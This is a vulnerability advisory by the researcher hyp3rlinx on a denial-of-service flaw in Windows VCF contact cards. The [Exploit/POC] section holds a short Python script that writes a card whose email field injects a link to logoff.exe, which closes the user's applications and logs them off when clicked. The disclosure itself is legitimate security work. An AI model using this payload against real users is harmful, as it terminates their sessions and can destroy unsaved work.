[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-MAILTO-LINK-DENIAL-OF-SERVICE.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
A VCF file is a standard file format for storing contact information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features.
These are a powerful new approach to electronic Personal Data Interchange (PDI).


[Vulnerability Type]
Mailto Link Denial Of Service


[CVE Reference]
N/A


[Security Issue]
Windows VCF cards do not properly sanitize email addresses allowing for HTML injection.
A corrupt VCF card can cause all the users currently opened files and applications to be closed
and their session to be terminated without requiring any accompanying attacker supplied code. 

This can be done by crafting the Mailto link to point to Windows "logoff.exe". The corrupt VCF card can then
kill all users applications and also log the target off their computer, if the VCF card is opened in
using Windows Contacts and the link is clicked.

The logoff.exe executable lives in "C:\Windows\System32" and can terminate applications and log out users without requiring args.

This probably will affect Windows 7 the most as Windows 10 can possibly default opening VCF files in other programs
like (People). However, users can possibly still choose to open the VCF in Contacts by right-click the file.

Note, this exploit requires user interaction.

[Exploit/POC]
"VCF_DoS.py"

dirty_vcf=(
'BEGIN:VCARD\n'
'VERSION:4.0\n'
'FN:Session Terminate PoC - ApparitionSec\n'
'EMAIL:<a href="logoff">DoS@microsoft.com</a>\n'
'END:VCARD')

f=open("DoS.vcf", "w")
f.write(dirty_vcf)
f.close()

print "VCF Denial Of Service card created!"
print "By hyp3rlinx"


[POC Video URL]
https://www.youtube.com/watch?v=P4OGN7pZLSg


[Network Access]
Local


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification: January 2, 2020
MSRC : "In order to investigate your report I will need an explanation on how an attacker could use the information
        to exploit another user remotely without the use of social engineering... As such, this thread is being closed"
      : January 3, 2020
January 4, 2020 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx